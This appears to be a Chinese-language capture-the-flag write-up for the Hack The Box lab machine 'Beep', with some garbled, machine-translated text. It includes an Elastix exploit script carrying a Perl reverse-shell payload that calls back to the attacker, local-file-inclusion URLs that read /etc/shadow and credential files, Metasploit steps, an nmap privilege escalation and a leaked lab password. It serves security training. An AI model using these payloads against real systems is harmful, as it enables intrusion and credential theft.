【HTB系列】Beep

此次挑战的是 HTB 的第5台靶机:Beep,评分很高,难度中等
php

靶机描述mysql

Beep 运行了大量的服务,这对正确发掘入口点有必定的挑战,因为存在大量的***向量,或许会让你不知所措,幸运地是,有多种方法能够***此系统。web

技能收获sql

  • Web-fuzzing
  • LFI
  • RCE
  • Kali Tool:sslscan / svwar / searchsploit
  • Nmap Privilege Escalation
  • Elastix / FreeFBX
  • VoIP / SIP

信息收集

基本信息
Kali ip :10.10.14.23
Lameip:10.10.10.7shell

端口扫描

nmap -T4 -A -p- -v 10.10.10.7

确实,开放了很多端口和服务
重点关注几个常见服务 22(ssh)、80(apache)、443(https)、3306(mysql)、10000(httpd)数据库

目录枚举

访问 http://10.10.10.7:80 无反应,maybe it doesn't work
因而枚举https的web应用apache

dirbjson

dirb https://10.10.10.7

dirb 枚举失效,看来 ssl 支持不理想?vim

dirbuster浏览器

dirbuster https://10.10.10.7

存在大量的目录、后台管理程序,慢慢研究

漏洞发现

sslscan

sslscan 10.10.10.7

协议层没法突破,到web应用层寻找突破口

Elastix
访问 https://10.10.10.7:443 ,返回登陆页面

Beep靶机使用了 Elastix 系统
使用默认用户密码尝试,未果

Username: admin
Password: palosanto

搜索一下 Elastix 系统的历史漏洞

漏洞利用

入口一
参考第一条"代码执行漏洞",https://www.exploit-db.com/exploits/37637
exp 修改以下,保存为 cmd.py

import urllib
import ssl

rhost="10.10.10.7"
lhost="10.10.14.15"
lport=4444
extension="233"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.urlopen(url, context=ctx)

咱们须要使用定位到本地的 SIP extension ,使用Kali自带工具 svwar

$ svwar -m INVITE -e100-300 10.10.10.7
| Extension | Authentication |
------------------------------
| 233       | reqauth        |

此时,将以上脚本的 etension 修改成233

从以前 sslscan 的扫描结果咱们看到 Beep 只支持 TLSv1.0,所以咱们须要修改 Kali 的openssl配置文件

vim /etc/ssl/openssl.cnf
#将
[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2
#修改成
[system_default_sect]
MinProtocol = None
CipherString = DEFAULT

此时,运行 cmd.py ,nc开启监听,得到反弹shell

至于提权,该 exp 已经有所描述了

sudo nmap --interactive
!sh

至此完成入口一的利用过程

入口二

参考第二条"文件包含漏洞",https://www.exploit-db.com/exploits/37637

漏洞简介

Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.
Elastix 2.2.0 is vulnerable; other versions may also be affected.

关键利用点

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

读取到 amportal.conf,该文件为Elastix / freepbx链接ami的用户信息配置文件
从以前的目录枚举结果中能够看到,vtigercrm 目录存在且可访问

vTiger CRM是一个集成的客户关系管理(CRM)应用程序,能够在Intranet上或使用浏览器从Internet上使用。

因而访问连接

https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

暴露了 amp 数据库用户密码信息

以上暴露的密码,登录后台

admin
jEhdIekWmdjE

成功登陆

考虑到密码多用的习惯,尝试ssh root用户以刚才admin的密码远程链接,事实确实如此

至此完成入口二的利用过程

入口三

访问 https://10.10.10.7/vtigercrm

vTiger CRM 的版本为 5.1.0

其实入口二中的 vtigercrm 程序还存在其它可利用的方式

searchsploit vtiger

正好发现该版本存在的一个缺陷,也是 LFI

查看详细信息

searchsploit -x 18770.txt

payload 以下

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/shadow%00

暴露 /etc/passwd

暴露用户链接信息配置文件 /etc/amportal.conf

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

一样能够暴露ami的用户配置文件 /etc/asterisk/manager.conf
参考:https://www.vtiger.com/docs/asterisk-integration

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/manager.conf%00

入口四

关于入口二和入口三,若是web程序的密码和系统密码不存在复用的话,怎么办?
metasploit中集成了 vtigercrm v5.1.0的一些缺陷,演示以下

search vtigercrm

使用 exploit/multi/http/vtigerphpexec,失败

使用 exploit/multi/http/vtigersoapupload,成功

use exploit/multi/http/vtiger_soap_upload
set RHOSTS 10.10.10.7
set SSL true
set RPORT 443
set LHOST 10.10.14.23

至此成功发现 user.txt ,下一步想办法权限提高

命中**Nmap*,以root权限执行且无需认证

较早版本的Nmap(2.02至5.21)具备交互模式,该模式容许用户执行Shell命令
因为Nmap在以root特权执行的二进制文件列表中,所以可使用交互式控制台来以相同的特权运行shell
sudo nmap --interactive
!sh

至此完成

相关文章
相关标签/搜索